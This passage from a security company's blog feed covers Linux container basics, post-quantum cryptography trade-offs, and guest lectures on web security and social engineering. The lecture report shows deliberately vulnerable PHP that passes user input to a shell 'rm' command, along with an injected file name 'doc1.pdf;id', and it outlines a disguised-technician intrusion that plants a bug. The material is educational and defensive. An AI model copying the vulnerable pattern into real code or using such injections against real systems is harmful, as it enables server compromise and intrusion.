&lt;p>With the steadily growing spread of containerization now and in the future, it becomes increasingly necessary to properly understand the internals and potential security threats resulting from aspects like kernel vulnerabilities, container misconfigurations and wrong use. This also includes optimizing the process of deploying and distributing containers and their environments to increase the productivity and efficiency, which directly impacts the cost factor. There are many ways containerization can be implemented - this blog post series focusses on Linux namespaces and control groups. These features are currently being used by LXC and Docker.&lt;/p>
&lt;p>A container is a set of processes that&amp;rsquo;s isolated from the host environment, processes, file hierarchy and network stack. Often containers are being created using &lt;em>images&lt;/em>. These are minimal root filesystems that include the required binaries, dependencies and configuration files for the container to run.
There&amp;rsquo;s no additional abstraction layer between the kernel and the application and there are no devices being virtualized. Instead, the kernel of the host system is being &lt;em>shared&lt;/em> with the isolated processes. Isolation is being implemented using primitives available in the Linux kernel.&lt;/p>
&lt;p>Because of these aspects containers are efficient:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Storage&lt;/strong>: To build container images, often minimal base images of Linux distributions are being used. For example, an Ubuntu base image is 188 megabytes in size. That&amp;rsquo;s only a small fraction of the size of a Ubuntu virtual machine. Moreover, there are even smaller base images like Alpine Linux with five megabytes and &lt;em>BusyBox&lt;/em> with only two megabytes in size. On top of that, base images can be reused for multiple images. If for instance multiple images are making use of the same base image, the base image only has to be stored once if the container engines supports layered images.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Performance&lt;/strong>: Because of the shared kernel, there&amp;rsquo;s minimal additional cost when running containers compared to the execution without any containerization. Containers are able to be added and removed in seconds, making them a handy tool for agile application deployment.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Complexity&lt;/strong>: Every primitive that&amp;rsquo;s being used to isolate processes is already included in the operating system kernel. Without the requirement of an additional hypervisor layer, the operating system is aware of all parts of the containerization process and can handle the execution natively. For example, memory management for containers can be as simple as managing the memory of a single native process.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The Linux Container blog series takes the kernel primitives responsible for containerization into account. By using information on these mechanisms in combination with details to the corresponding kernel code, the functionality in regard to these mechanisms is being documented and illustrated. This explains how the operation of containers is possible and describes the internal processes of creating them. As the kernel source code is constantly subject to changes, all provided information is to be understood in regard to Linux version &lt;code>4.19-rc3&lt;/code> (commit &lt;code>11da3a7f84f1&lt;/code>).&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>On the Trade Offs of Using Post Quantum Cryptography</title><link>https://www.schutzwerk.com/en/blog/pqcrypto/</link><author>Henning Kopp</author><pubDate>Sun, 17 Mar 2019 08:50:37 +0100</pubDate><category>cryptography</category><description>
&lt;p>In this article I am going to highlight some of the issues concerning
the current state of post quantum cryptography.
This article is written for readers who want a high level overview and
are not much concerned with technical details.&lt;/p>
&lt;p>The first part explains how security of cryptographic algorithms is
determined in theory.
Next, the notion of post quantum cryptography is introduced.
Eventually, selected aspects if one decides to use post quantum
cryptography are highlighted.&lt;/p>
&lt;p>This article deals mainly with asymmetric cryptography, as the impact
of quantum computers on symmetric cryptography is easier to anticipate.
Further, this article is about post quantum cryptography, i.e.,
cryptography with classical computers under the assumption that the
attacker has access to a quantum computer.
This is different from quantum cryptography, i.e., cryptography using
quantum computers.
Quantum cryptography is not treated in this article.&lt;/p>
&lt;h2 id="background-on-cryptographic-security">Background on Cryptographic Security&lt;/h2>
&lt;p>This section gives an overview of the theoretical underpinnings of
security in cryptographic systems.&lt;/p>
&lt;p>One obvious question is how to measure the security of a
cryptographic algorithm.
Often, cryptographic algorithms employ a security parameter which is
used to tune the security level, i.e., the effort needed to break
the algorithm.
Intuitively, for an attacker there should be no better algorithm to break
a cryptosystem than brute-force, which means trying all keys.
The effort of this attack is exponentially in the size of the key.
However, using the same cryptosystem with longer keys should not take
significantly more time for the user.
The main intuition behind the security parameter is now as a measure
of key length, as the effort required to break a secure cryptosystem
should most often be exponential in the length of the key.&lt;/p>
&lt;p>More formally, a cryptosystem is considered secure if the effort of
an attacker to break the algorithm increases exponentially,
whereas the effort of using the cryptographic algorithm only
increases polynomially in the security parameter.&lt;/p>
&lt;h3 id="security-in-asymmetric-algorithms">Security in Asymmetric Algorithms&lt;/h3>
&lt;p>The current approach among cryptographers for asymmetric algorithms is
to reduce their security to a known hard problem.
Common problems which are assumed to be hard are the factorization of a
number into its prime factors, or the computation of discrete logarithms.
As there are better algorithms than brute force for solving these
problems, the security parameter corresponds to the size of the number
which needs to be factorized or the size of the underlying group in
which the discrete logarithms need to be computed, respectively.
The resulting measurement of security is a qualitative statement
like &amp;ldquo;If problem A is considered to be hard then breaking the
cryptographic algorithm is hard&amp;rdquo;.
Or inversely &amp;ldquo;If the cryptographic algorithm is broken, then solutions
to the underlying problem can be computed easily&amp;rdquo;.
However, there are no proofs that solving the underlying problem is in fact hard.
The trust placed by the cryptographic community in the complexity of
these problems stems from the fact that finding solutions efficiently has eluded
researchers for several centuries.
For example, the problem of factoring has already been investigated by
Fermat in the 17th century.&lt;/p>
&lt;p>Note that for a concrete implementation or a standard, a
concrete security parameter needs to be chosen.
As an example, a security level of 128 bit is currently considered
secure. This means that an attacker has to execute approximately 2^128 steps to
break the algorithm.
According to the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.6028/NIST.SP.800-57pt1r4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">NIST&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.6028/NIST.SP.800-57pt1r4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">recommendations&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
this
corresponds to a key length of 3072 bit in RSA, as RSA is based on the
factoring problem and thus better algorithms than brute force are
available.&lt;/p>
&lt;h3 id="quantum-computers">Quantum Computers&lt;/h3>
&lt;p>The faith of the cryptographic community in the complexity of
factoring and computing discrete logarithms took some damage when
researchers turned their attention to quantum computing.
In 1994, Shor proposed an
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://arxiv.org/abs/quant-ph/9508027v2"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">algorithm&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to factor a
number into its prime factors which runs in polynomial (instead of
exponential) time. In the same paper, Shor proposes an algorithm to
solve discrete logarithms in polynomial time, another problem which
was assumed to be of exponential complexity.
Consequently, cryptographic algorithms whose security relies on the
complexity of factorizing a number or of computing discrete logarithms
are broken in theory.
These include most asymmetric cryptosystems such as Diffie-Hellman,
RSA, El-Gamal, and cryptosystems based on elliptic curves.
However, the main drawback of Shor&amp;rsquo;s algorithm is the need for a quantum
computer to execute it.
Thus, these types of cryptosystems are only broken if we allow the
attacker access to a quantum computer.&lt;/p>
&lt;p>A quantum computer is comparable to a classical computer, but uses
qubits, i.e., a two-state quantum mechanical system to store
information.
There are many intermediate states which can be used in the
computations in a quantum computer, but as soon as the qubits are
measured in the final result, the superposition collapses and only two
states are possible.
While a quantum computer can execute classical algorithms, there are
some algorithms which have a faster implementation on a quantum
computer, as the implementation makes clever use of these intermediate
states of the qubit.&lt;/p>
&lt;p>When executing Shor&amp;rsquo;s algorithm, of course the quantum computer needs to be &amp;ldquo;big enough&amp;rdquo; in the sense, that there need to be enough qubits available.
Regarding the security implications this is mainly a practical problem,
as the theory deals only with asymptotic statements.
To our knowledge the largest number which has been factored by a quantum
computer is &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://arxiv.org/abs/1411.6758"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">56153&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
which corresponds
to an RSA key length of 16 Bits.
For this computation 4 qubits have been used.
Real world RSA keys of 3072 or 4096 bits are still far out of reach for
current quantum computers.&lt;/p>
&lt;p>Currently, it is not certain when large enough quantum computers are
feasible.
However, since quantum computers are only getting better and not
worse, research into cryptosystems whose security is based on
different, i.e., quantum safe problems is booming.
These novel directions in cryptography are treated under the term &amp;ldquo;post
quantum security&amp;rdquo; or &amp;ldquo;quantum proof cryptography&amp;rdquo;.
While there are many contenders, there are no standards yet.
Nevertheless, some companies are already offering supposedly
quantum proof cryptosystems.&lt;/p>
&lt;h2 id="a-holistic-view-on-security">A Holistic View on Security&lt;/h2>
&lt;p>From a theoretical point of view the situation is clear:
If an attacker is allowed access to a quantum computer, most currently
employed cryptosystems are insecure in the sense that breaking the
algorithm requires only polynomial effort.
Post quantum cryptosystems are secure under the hardness assumption of
their underlying respective problem.
Consequently, a switch to quantum proof cryptosystems is needed to
enable long term security.&lt;/p>
&lt;p>In practice, however, the situation is more nuanced:&lt;/p>
&lt;p>If an attacker requires only polynomial effort, the cryptosystem
is broken in theory but may not be broken in practice.
For example, there is an attack on AES due to &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://link.springer.com/chapter/10.1007/978-3-642-25385-0_19"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Bogdanov&lt;/span>
&lt;/a>&lt;a
href="https://link.springer.com/chapter/10.1007/978-3-642-25385-0_19"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">et&lt;/span>
&lt;/a>&lt;a
href="https://link.springer.com/chapter/10.1007/978-3-642-25385-0_19"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">al.&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
which needs less effort than brute force.
However, the effort is still high enough such that the attack is
impossible with current technology.&lt;/p>
&lt;p>Further, cryptographic algorithms in the real world are not broken by attacking the
mathematical foundations, as these are the most solid part, but rather
the implementation or the usage of the cryptosystem.
This is akin to storing treasures in a house. Even if secure doors are
used, an attacker can sneak in through an open window.
In the real world cryptography is usually the secure door, rather
than the open window.&lt;/p>
&lt;p>In the following I aim to give an overview of some of the issues
surrounding the trade offs associated with current post quantum
cryptosystems.&lt;/p>
&lt;h3 id="missing-standards">Missing Standards&lt;/h3>
&lt;p>Currently, there are no standards for quantum proof cryptosystems, yet
NIST has initiated &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://csrc.nist.gov/Projects/Post-Quantum-Cryptography"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://csrc.nist.gov/Projects/Post-Quantum-Cryptography"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">competition&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to standardize a post quantum cryptosystem.
According to their
timeline this standard is estimated to be ready in 2022 to 2024.&lt;/p>
&lt;p>Beyond fixing the security parameter, a standard usually regulates the
data format of the messages and keys.
Consequently, the landscape of implementations of quantum proof
cryptosystems is very fractionated and encrypted messages may be
incompatible between different software, even if the same
cryptographic algorithm is used.
This leads to the situation of a vendor lock-in, where the costs of
switching to a different software later may become substantial.&lt;/p>
&lt;h3 id="patents">Patents&lt;/h3>
&lt;p>A further point impeding the adoption of quantum proof cryptosystems is
that many algorithms are encumbered by patents.
However, their impact on using post quantum cryptography in practice
depends heavily on the type of patent.
Patents can cover the whole algorithm or only specific parts of the
implementation.
In the latter case, a slower but compatible implementation may be
available.
While only few general points can be made regarding the impact of
patents on the adoption of quantum proof cryptography, this point
certainly needs to be considered when deciding to use such
cryptosystems in practice.&lt;/p>
&lt;h3 id="implementation-risks">Implementation Risks&lt;/h3>
&lt;p>Another problem when using post quantum cryptography in production is
the lack of a vetted implementation.
The main problem is that the security of an algorithm is dependent on
the security of its implementation.
For example, if different code paths are executed depending on the
input data, the algorithm can leak information of its input by
observing the timing differences of different runs of the algorithm
This can leak sensitive internal information such as key material.
There are lots of these attacks against implementations of
cryptography such as padding oracle attacks, cache attacks, and other
timing attacks.&lt;/p>
&lt;p>For classical cryptography there are industry grade implementations
such as the OpenSSL library, which is hardened against these attacks
through many years of experience.
For quantum proof cryptography there are no comparable libraries with
a similar level of expertise.
Consequently, post quantum algorithms suffer from more risk stemming
from an insecure implementation than classical cryptosystems.&lt;/p>
&lt;h3 id="organizational-decisions">Organizational Decisions&lt;/h3>
&lt;p>Decisions in organizations are not made in a vacuum.
Especially, decisions may not always focus on achieving the best
solution, but other factors can play important roles as well.&lt;/p>
&lt;p>In practice, an employee needs to take responsibility for its
decisions towards its manager.
Thus, the employee may not be blamed for using a government standard,
but for using an experimental quantum proof algorithm if it fails.
The same argumentation may be applied by a court in the case of
privacy violations due to a data leak.
Hence, even though quantum proof algorithms may offer more long term
security, employees may be reluctant to adopt them.
This argument is not separate but can be seen as a further consequence
of the lack of a standard.&lt;/p>
&lt;h3 id="long-term-security">Long term Security&lt;/h3>
&lt;p>One argument for quantum proof algorithms is their long term
security.
Especially, once attackers can afford quantum computers it is
estimated that classical algorithms are not secure anymore.
It is important to note that multi decade long term data protection is
not important for most organizations to begin with, except, e.g.,
TS/SCI facilities and the healthcare sector.
Most cryptographic data such as TLS handshakes are rather ephemeral.
Further, remember that the impact of quantum computing on symmetric
cryptography, i.e., encryption, is very well understood, and thus
only asymmetric cryptography such as signatures and key exchanges are
affected when arguing about long term security.&lt;/p>
&lt;p>Current governmental recommendations for long term
security suggest using classical algorithms with larger keys.
The EU project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.keylength.com/en/3/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ECRYPT&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
recommends
using elliptic curves with 512 Bits for security for thirty up to
fifty years.
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.keylength.com/en/4/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">NIST&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
has the same recommendations
for security up to 2030 &amp;ldquo;and beyond&amp;rdquo;.
Consequently, for industry grade applications classical cryptography
should suffice for nearly all applications and there is no urgent need to migrate to post quantum cryptography.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>We have given an overview of the notion of security in cryptosystems and have shown that for real world applications, currently there is no need to switch to post quantum cryptosystems.
Further we have argued that there are currently many forces preventing
adoption of quantum proof cryptography.&lt;/p>
&lt;p>However, it is clear that cryptographic attacks will only get better and never worse.
Hence, changing to quantum proof cryptosystem will become necessary in the future.
Until then we hopefully have a standard and some industry
grade software libraries.&lt;/p></description></item><item><title>Guest lectures at Ulm University</title><link>https://www.schutzwerk.com/en/blog/guestlectures/</link><author>Tobias Arnold</author><pubDate>Fri, 22 Feb 2019 13:00:00 +0100</pubDate><category>cooperation</category><category>talk</category><category>web security</category><category>social engineering</category><description>
&lt;p>SCHUTZWERK has long-lasting connections to Hochschule Furtwangen, Hochschule Aalen and Ulm University in order to cooperate in research and teaching topics with security focus. This includes lectures, security CTFs, master and bachelor thesis as well as research projects (e.g., the ongoing BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/starke-it-sicherheit-fuer-das-auto-der-zukunft/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in which a recent &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/"
class="link-background inline split"
>
&lt;span class="link-label">master&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/threat-modeling-with-tmte4pt/"
class="link-background inline split"
>
&lt;span class="link-label">thesis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
was conducted together with Ulm University). Furthermore, SCHUTZWERK regularly conducts one-day hands-on events, so-called Capture-the-flags (CTF), in which students can test their cybersecurity skills in form of a practical competition (e.g. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://www.hack2improve.de"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hack2Improve&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
).&lt;/p>
&lt;p>Thus, students interested in the field of IT security are given the chance to write their thesis (Bachelor/Master) with us but can also become part of the SCHUTZWERK team as a working student. This will allow working students to gain insights into professional life, gain hands-on experience with IT security, and finance their studies. Further possibilities like an internship (with a minimum duration of 6 months) complete the practical opportunities for students at SCHUTZWERK. Most internal projects of working students like the development of new hardware and software solutions directly contribute to our daily business. The results are often used in upcoming assessments. In the long term, we want to keep good students by offering attractive &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/vacancies/"
class="link-background inline split"
>
&lt;span class="link-label">job&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/vacancies/"
class="link-background inline split"
>
&lt;span class="link-label">opportunities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Some former working students are now fully employed after completing their studies.&lt;/p>
&lt;p>On the teaching level SCHUTZWERK gives security lectures (e.g., &lt;em>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and Computer Forensic&lt;/em> at Hochschule Aalen) or guest talks and guest lectures providing practical examples and insights into applied IT security. For example, the following two guest lectures were recently given by SCHUTZWERK at Ulm University focusing on the basics in web security and on social engineering attacks.&lt;/p>
&lt;h2 id="guest-lecture---web-security">Guest Lecture - Web Security&lt;/h2>
&lt;p>The &lt;em>Web Engineering&lt;/em> lecture at Ulm University gives a general overview over web technologies including historical development and technical basics. The lecture is accompanied by an exercise. In this exercise, students apply their knowledge in a practical manner to strengthen and deepen the understanding of what has been learnt.
In the field of web engineering, where technologies are changing very frequently, the requirements and best practices regarding security are constantly changing, too. To keep up with these changes goes beyond the scope of this lecture. However, a basic understanding of web security and security best practices is desperately needed by any web engineer.
To give students an insight into the latest web security mechanisms, Tobias Arnold held a guest lecture on January 31st.
In the introduction of the guest lecture, the general procedure of a penetration test was first outlined: 1. collecting information, 2. scanning for vulnerabilities and 3. exploiting vulnerabilities. If an exploit is successful, the process starts from the beginning since new information may be available.
With the general understanding of the procedure, the lecture continued with the introduction of OWASP. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Open&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Worldwide&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Application&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Project&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Main_Page"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(OWASP)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a worldwide not-for-profit organization focused on improving the security of software. One of the OWASP projects is the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Top&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ten&lt;/span>
&lt;/a>&lt;a
href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Project&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in which the ten most common security vulnerabilities in web applications are described. This project serves as a reference for both, web engineers and penetration testers. Due to limited time, the lecture focused on four of the top ten vulnerabilities: &lt;em>injection&lt;/em>, &lt;em>broken authentication&lt;/em>, &lt;em>broken access control&lt;/em>, and &lt;em>cross-site scripting&lt;/em>.&lt;/p>
&lt;p>&lt;strong>INJECTION&lt;/strong> - Two examples of injections were presented: &lt;em>command injections&lt;/em> and &lt;em>SQL injections&lt;/em>. To exploit a command injection, an attacker has to find a vulnerability first. An example is a php function stored and executed on a web server. This function receives a file name as a parameter from a client to delete it. This file name is directly used in a system command without any sanitization. The code snippet can be seen below:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-php" data-lang="php">&amp;lt;?php
&lt;span style="color:#40ffff">$file&lt;/span>=&lt;span style="color:#40ffff">$_GET&lt;/span>[&lt;span style="color:#ed9d13">&amp;#39;filename&amp;#39;&lt;/span>];
system(&lt;span style="color:#ed9d13">&amp;#34;rm &lt;/span>&lt;span style="color:#ed9d13">$file&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>);
&lt;span style="color:#6ab825;font-weight:bold">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;File deleted successfully&amp;#34;&lt;/span>);
&lt;span style="color:#cd2828;font-weight:bold">?&amp;gt;&lt;/span>&lt;span style="color:#a61717;background-color:#e3d2d2">
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the provided file name is &lt;em>doc1.pdf&lt;/em>, the executed command is &lt;code>rm doc1.pdf&lt;/code>. Provided that the file exists in the appropriate place it is deleted. However, since the file name is not sanitized on server side, a second command could be attached to the file name. The “file name” &lt;em>doc1.pdf;id&lt;/em> results in the following executed command &lt;code>rm doc1.pdf;id&lt;/code>. In fact, those are two commands separated by a semicolon. The first &lt;code>rm doc1.pdf&lt;/code> deletes the file as described before.
The second command &lt;code>id&lt;/code> returns information about the current user. Both commands are executed in the user context of the web server. An injection like this can be used to compromise the web server directly.
The second example presented at the guest lecture was an SQL injection. This vulnerability results also from the use of unsanitized user input. An attacker can use an SQL injection access or modify information stored in a database. In some cases it is also possible to execute system commands by using databases functions.&lt;/p>
&lt;p>&lt;strong>BROKEN AUTHENTICATION&lt;/strong> - This OWASP class of vulnerabilities covers anything related to the session management, from login to logout. This includes the use of default credentials, allowing weak passwords (further information about proper password strength can be found at the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">QWASP&lt;/span>
&lt;/a>&lt;a
href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Authentication&lt;/span>
&lt;/a>&lt;a
href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cheat&lt;/span>
&lt;/a>&lt;a
href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Sheet&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
), missing session timeout, missing brute force protection, and more.&lt;/p>
&lt;p>&lt;strong>BROKEN ACCESS CONTROL&lt;/strong> - Most web applications provide sensitive information such as addresses and bank account information. This information must not be accessed by a third party. Therefore, an effective access control needs to be established. It is not sufficient to assume that links or ids leading to confidential data or documents could not be guessed by an attacker. Every access to a resource must be approved by the web server by checking access legitimacy.&lt;/p>
&lt;p>&lt;strong>CROSS-SITE-SCRIPTING&lt;/strong> - To execute code in the browser of a user, modern web applications use JavaScript. This script code is delivered by the web server with the website itself. An attacker who is able to deliver his own code to the browser of another user can exploit this cross-site scripting vulnerability to his advantage. Depending on other misconfigurations he could steal the session cookie, exploit vulnerabilities of the browser, phish for credentials e.g. by manipulating the site to present a login form and send the entered information to the attacker, and much more.
Furthermore, two types of cross-site scripting were demonstrated with examples: &lt;em>stored cross-site scripting&lt;/em> and &lt;em>reflected cross-site scripting&lt;/em>. In a stored cross-site scripting, an attacker is able to place his script code on the website persistently (e.g. in a comment field) and the code is delivered to any user visiting this site this. In a reflected cross-site scripting, malicious code embedded in a request is returned by the web server without being stored persistently. This non permanent cross-site scripting is called reflected. To exploit this kind of reflected cross-site scripting, an attacker must convince a user to click on a malicious link, e.g., in a mail.
A countermeasure to avoid cross-site scripting is the escaping of characters like &lt;code>&amp;lt;&lt;/code>, &lt;code>&amp;gt;&lt;/code>, &lt;code>/&lt;/code>. Those characters are needed to surround the script code with script tags &lt;code>&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code> to get the browser to interpret the script code as such.&lt;/p>
&lt;h3 id="conclusion">Conclusion&lt;/h3>
&lt;p>The main take away message of the guest lecture was the following:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>All explicit and implicit user input is a potential security risk!&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>Web engineers should be sensitized and aware about potential security risks. This is the only way to establish appropriate countermeasures and develop future web applications according to best practices. The students attending this lecture have come a step closer to this goal.&lt;/p>
&lt;h2 id="guest-lecture---social-engineering">Guest Lecture - Social Engineering&lt;/h2>
&lt;p>The second guest lecture &lt;em>Social Engineering - Man as the weakest link in the chain&lt;/em> was given by Dr. Bastian Könings in early February as part of the lecture &lt;em>Sicherheit in IT-Systemen&lt;/em> (Security in IT systems). Social engineering is an act of interpersonal influence designed to cause certain behaviors. Goals can be the disclosure of passwords, access to secure areas or the execution of certain actions. Based on human attributes like trust, helpfulness, respect, helplessness, curiosity, comfort, fear, shame, etc. an attacker can use social engineering to bypass potential strong technical security measures. Social engineering attacks are usually very successful. The lecture presented different types of social engineering attacks: active (direct interaction) vs passive (no direct interaction like eavesdropping) and human based (without the use of technical aids) vs computer based (with the use of technical aids).
The second part of the lecture presented several practical examples of real-world social engineering assessments conducted by SCHUTZWERK. The three steps to conduct a social engineering attack are: 1. collecting information, 2. searching for weaknesses and 3. exploiting vulnerabilities.&lt;/p>
&lt;ol>
&lt;li>The first step is the collection of information about the target. For this, direct observation or publicly available information such as map services can be used. Useful information are among other things: which area is under video surveillance, access control systems, working and break times, dress code, usage of badges, regular events, behavior, and much more.&lt;/li>
&lt;li>In a second step, the collected information is evaluated and searched for weak spots such as an unguarded rear entrance. Based on an identified vulnerability, an attack scenario can be developed. The third step is the execution. Thereby, an attacker must blend in with the surroundings to go undetected. Attributes like quick-wittedness, spontaneity, adaptability and calmness are essential. An attack scenario could be the maintenance of smoke detectors.&lt;/li>
&lt;li>To increase credibility, the attacker must dress up as a technician (e.g. with a boilersuit, proper technical tools and a badge). If the staff behaves correctly the attacker will not be able to move freely. However, he could be able to place a bug (microphone or camera) in a smoke detector. The bug can be used to get further insights or even sensitive information like passwords or confidential data.&lt;/li>
&lt;/ol>
&lt;p>To minimize the possible attack vectors, several measures were presented at the guest lecture. An important point is the training of employees. Only if employees are aware of the threat of social engineering, they can behave appropriate, e.g. report incidents and not disclose sensitive information.&lt;/p>
&lt;h3 id="conclusion-1">Conclusion&lt;/h3>
